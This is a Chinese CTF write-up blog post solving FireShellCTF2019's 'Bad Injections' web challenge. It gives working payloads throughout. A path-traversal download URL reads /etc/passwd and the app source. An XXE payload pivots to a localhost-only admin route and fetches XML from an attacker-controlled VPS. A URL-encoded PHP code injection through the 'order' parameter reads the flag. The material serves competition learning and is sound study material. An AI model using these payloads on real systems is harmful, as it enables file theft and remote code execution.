Hpdoger's Blog.

FireShellCTF2019 Bad Injections解题记录

Word count: 1,124 / Reading time: 6 min
2019/01/30 Share

FireShellCTF2019 Bad Injections解题记录

原文投稿安全客:https://www.anquanke.com/post/id/170381

题目名称:Bad Injections

题目地址:http://68.183.31.62:94

貌似现在还没有关环境,这是整场比赛最简单的Web题…Web题质量很高,表哥们可以趁环境在去爽一下

主页面有四个功能,纯静态页面。右键about页面源码信息:

给个本地web目录

接着在list页面的源码里发现信息:

因为页面显示图片,url没有其他参数,猜测应该是readfile之类的函数读的文件。File+hash的方法,既然是ctf,那hash应该不会加key。下载一个文件试一下能不能成功

1
68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc

这里让hash = md5(file),成功下载到了/etc/passwd

尝试去读/flag发现文件不存在,去读.bash_history也不存在..捷径失败…

看到之前list下载的test.txt内容是这样的

down一下download的源码,顺便fuzz一下Controllers的文件

1
68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260

字典只跑出来了个admin.php

看了源码感觉存在一个XXE或者是create_function的代码注入,因为找不到/flag所以利用XXE没什么卵用,应该就是代码注入点,但是要加载外部文本来引入正确xml文本才能进入函数判断。

尝试请求admin?url=xxx&order=xx死活获取不到页面,应该是路由没找对。在这卡了一会,请教腹黑师傅,才想起来去读入口文件。

1
68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8

/app/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')){
require_once './classes/'.$class_name.'.php';
}else if(file_exists('./Controllers/'.$class_name.'.php')){
require_once './Controllers/'.$class_name.'.php';
}

}

再去读路由/app/Routes.php,看看是个什么狗屁规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

Route::set('index.php',function(){
Index::createView('Index');
});

Route::set('index',function(){
Index::createView('Index');
});

Route::set('about-us',function(){
AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
ContactUs::createView('ContactUs');
});

Route::set('list',function(){
ContactUs::createView('Lista');
});

Route::set('verify',function(){
if(!isset($_GET['file']) && !isset($_GET['hash'])){
Verify::createView('Verify');
}else{
Verify::verifyFile($_GET['file'],$_GET['hash']); //设置session,file和hash对应请求文件
}
});


Route::set('download',function(){
if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
}else{
echo 'jdas';
}
});

Route::set('verify/download',function(){
Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
$handler = fopen('php://input','r');
$data = stream_get_contents($handler); // xml
if(strlen($data) > 1){
Custom::Test($data);
}else{
Custom::createView('Custom');
}
});

Route::set('admin',function(){
if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});

Route::set('custom/sort',function(){
Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
Index::createView('Index');
});

原来我只下载了download和admin页面,还有其它功能页面没下载到,看到了玄学的admin规则如下,原来只有本地才能请求到sort函数

1
2
3
4
5
6
7
8
9
10
11
Route::set('admin',function(){
if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});

找一下其他利用,再看Custom

1
2
3
4
5
6
7
8
9
Route::set('custom',function(){
$handler = fopen('php://input','r');
$data = stream_get_contents($handler);
if(strlen($data) > 1){
Custom::Test($data);
}else{
Custom::createView('Custom');
}
});

Custom::Test

1
2
3
4
5
6
7
class Custom extends Controller{
public static function Test($string){
$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;
}
}

$data内容可控为php://input,Test函数再将$data作为xml文本解析,那么存在XXE的问题,验证了一下可以利用

联想到刚才admin页面只有本地才能请求,那就用Custom的XXE当跳板好了,测试一下是否能当跳板

poc:

1
2
3
4
5
<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fyour_vps%2Fxxe.txt&order=1">]>
<note>
<name>&file;</name>
</note>


admin页面确实file_get_contents到了我vps的xxe文本。

尝试去构造正确的xml文本到执行到usort函数进行注入,warning不影响代码执行

http://vps/xxe.txt

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<root>
<channel>
<item>
<link>@hpdoger.me</link>
</item>
<item>
<link>@souhu.com</link>
</item>
</channel>
</root>

POC

1
2
3
4
5
<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fvps%2Fxxe.txt&order=id%29%3B%7Decho%28file_get_contents%28%27..%2F..%2F..%2Fda0f72d5d79169971b62a479c34198e7%27%29%29%3B%2F%2F">]>
<note>
<name>&file;</name>
</note>

CATALOG
  1. 1. FireShellCTF2019 Bad Injections解题记录